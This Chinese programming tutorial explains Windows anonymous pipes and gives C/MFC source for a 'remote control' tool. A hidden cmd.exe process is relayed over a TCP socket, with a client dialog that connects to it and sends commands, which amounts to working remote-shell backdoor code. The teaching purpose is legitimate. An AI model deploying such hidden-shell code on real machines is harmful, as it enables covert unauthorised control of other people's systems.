基于visual c++之windows核心编程代码分析(49)基于匿名管道实现远程控制

 匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。

匿名管道
     匿名管道是一种未命名的、单向管道。通常用来在父进程和子进程之间传输数据。匿名管道总是本地的,不能在网络之间传递数据。
匿名管道操作
    CreatePipe函数创建一个匿名管道,并且返回两个句柄:一个读管道的句柄和一个写管道的句柄。读句柄具有管道的只读权限,写句柄具有管道的只写权 限。为了利用管道交换数据,管道服务端必须把管道句柄传给另一个进程。通常情况下,这是通过继承实现的(参见1.1.2);就是说,父进程允许子进程继承 这个句柄。进程也可以使用DuplicateHandle函数复制一个管道句柄,再通过一些进程间通信机制,比如DDE或者共享内存,把它发送给另一个不 相关的进程。
     管道服务端可以给管道服务端发送读句柄或者写句柄,这取决于客户端要用这个管道发送数据还是获取数据。要从管道读取数据,以管道的读句柄为参数调用 ReadFile函数。当另一个进程向管道写入数据是,ReadFile函数返回。如果管道的所有写句柄被关闭,或者读取数据时有错误发 生,ReadFile函数也会返回。
     要向管道写入数据,以管道的写句柄问参数,调用WriteFile函数。数据被完全写入管道,或者出错,WriteFile将会返回。如果管道的缓存已 满,且还有尚未写完的数据,直到另一个进程从管道读取数据前,WriteFile函数都不会返回。缓存的大小是在管道服务端调用CreatePipe函数 时指定的。
     匿名管道不支持异步读写。这意味着不能使用ReadFileEx和WriteFileEx函数读写匿名管道。另外,使用匿名管道时,ReadFile和WriteFile函数的lpOverlapped参数也会被忽略。
     匿名管道会一直存在,直到所有的读写句柄全部被关闭。进程可以调用CloseHandle函数关闭管道句柄。进程终止时,所有的管道句柄也会被自动关闭。
 
双匿名管道实现通信

#include <windows.h>
#include <stdio.h>
//双匿名管道实现写入读取
int cmd_shell(SOCKET target)
{	

	STARTUPINFO g_stStartUp;
	PROCESS_INFORMATION g_stProcInfo;
	HANDLE reHandle1,wrHandle1;
	HANDLE reHandle2,wrHandle2;
	
	char enter_key[2] = {0x0d,0x0a};
	//填充SECURITY_ATTRIBUTES结构
	SECURITY_ATTRIBUTES stSecurity;
	
	stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES);
	stSecurity.lpSecurityDescriptor = NULL;
	stSecurity.bInheritHandle = TRUE;//继承性
	//创建两个管道
	CreatePipe(&reHandle1,&wrHandle1,&stSecurity,0);
	CreatePipe(&reHandle2,&wrHandle2,&stSecurity,0);
	//创建进程前填充STARTUPINFO结构
	GetStartupInfo(&g_stStartUp);
	g_stStartUp.hStdInput = reHandle1;
	g_stStartUp.hStdOutput = wrHandle2;
	g_stStartUp.hStdError = wrHandle2;
	g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	g_stStartUp.wShowWindow = SW_HIDE;
	//创建进程CreateProcess启动这个控制台应用程序、
	if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,NULL,&g_stStartUp,&g_stProcInfo))
	{
		DWORD bytes_read,bytes_write,ret;
		char buf[512] = {0};
		while(1)
		{
			memset(buf,'\0',512);
			PeekNamedPipe(reHandle2,buf,512,&bytes_read,NULL,NULL);
			if(bytes_read != 0)
			{
				ret = ReadFile(reHandle2,buf,bytes_read,&bytes_read,NULL);
				send(target,buf,strlen(buf),0);
				if(ret<=0)
				{
					fprintf(stderr,"error on pipe %d",GetLastError());break;
				}
				
			}
			else
			{
				bytes_read = recv(target,buf,512,0);
				printf("%s",buf);
				if(bytes_read<=0)
				{
					fprintf(stderr,"error %d",GetLastError());
				}
				WriteFile(wrHandle1,buf,strlen(buf),&bytes_write,NULL);
				WriteFile(wrHandle1,enter_key,2,&bytes_write,NULL);
				if(strcmp(buf,"exit") == 0)
				{
					send(target,"连接关闭",8,0);
					break;
				}
			
			}
			
		}
		Sleep(10);
	}
	printf("now Closing\n");
	CloseHandle(g_stProcInfo.hProcess);
	CloseHandle(g_stProcInfo.hThread);
	printf("now closing Pipe\n");
	return 0;
}

远程控制客户端加入匿名管道通信

#include "stdafx.h"
#include "客户端.h"
#include "客户端Dlg.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32")
DWORD WINAPI ServerThread(LPVOID lparam);
DWORD WINAPI GoThread(LPVOID lparam);
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
SOCKET server,client;
SOCKADDR_IN serveraddr;
char szGo[64];
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMyDlg dialog

CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CMyDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CMyDlg)
	m_ipaddr = _T("");
	m_port = 0;
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CMyDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CMyDlg)
	DDX_Text(pDX, IDC_IPADDR, m_ipaddr);
	DDX_Text(pDX, IDC_PORT, m_port);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
	//{{AFX_MSG_MAP(CMyDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_CONNECT, OnConnect)
	ON_BN_CLICKED(IDC_GO, OnGo)
	ON_BN_CLICKED(IDC_CLEAR, OnClear)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMyDlg message handlers

BOOL CMyDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	//初始化库
	
	SetDlgItemText(IDC_IPADDR,"127.0.0.1");
	SetDlgItemText(IDC_PORT,"1234");
	UpdateData(true);
	WSADATA wsadata;
	WORD word = MAKEWORD(2,2);
	WSAStartup(word,&wsadata);
	
	


	
	
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CMyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CMyDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CMyDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CMyDlg::OnConnect() 
{
	UpdateData(true);	
	CreateThread(NULL,NULL,ServerThread,this,NULL,NULL);

}
DWORD WINAPI ServerThread(LPVOID lparam)
{
	CMyDlg *pDlg = (CMyDlg *)lparam;
	

	server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	
	serveraddr.sin_family = AF_INET;
	serveraddr.sin_port = htons(pDlg->m_port);
	serveraddr.sin_addr.S_un.S_addr = inet_addr(pDlg->m_ipaddr);
	client = connect(server,(SOCKADDR *)&serveraddr,sizeof(serveraddr));
	if(client == SOCKET_ERROR)
	{
		MessageBox(NULL,"SORRY","连接出错",MB_OK);
		return -1;
	}
	MessageBox(NULL,"CONGRATULATE!","连接成功",MB_OK);
	pDlg->SetDlgItemText(IDC_INFO,"连接成功");
	
	char szRecv[1024];
	CString str0,str1;
	memset(szRecv,0,1024);
	while(1)
	{
		
		recv(server,szRecv,1024,0);
		pDlg->GetDlgItemText(IDC_READ,str1);
		str0 = szRecv;
		str0 += "\r\n";
		str0 += str1;
		pDlg->SetDlgItemText(IDC_READ,str0);
	}
	return 0;
}

void CMyDlg::OnGo() 
{
	memset(szGo,0,64);
	GetDlgItem(IDC_WRITE)->GetWindowTextA(szGo,64);
	CreateThread(NULL,0,GoThread,this,NULL,NULL);

}
DWORD WINAPI GoThread(LPVOID lparam)
{
	CMyDlg *pDlg = (CMyDlg *)lparam;
	
	
	char enter_key[2] = {0x0d,0x0a};
	send(server,szGo,sizeof(szGo),0);
	if(strcmp(szGo,"exit") == 0)
	{
		Sleep(100);
		pDlg->SetDlgItemText(IDC_INFO,"未连接");
		closesocket(server);
		closesocket(client);
		WSACleanup();
		exit(0);
	}
	
	return 0;
}

void CMyDlg::OnClear() 
{
	SetDlgItemText(IDC_READ,"");
	
}




 


 

原文地址:https://www.cnblogs.com/new0801/p/6177776.html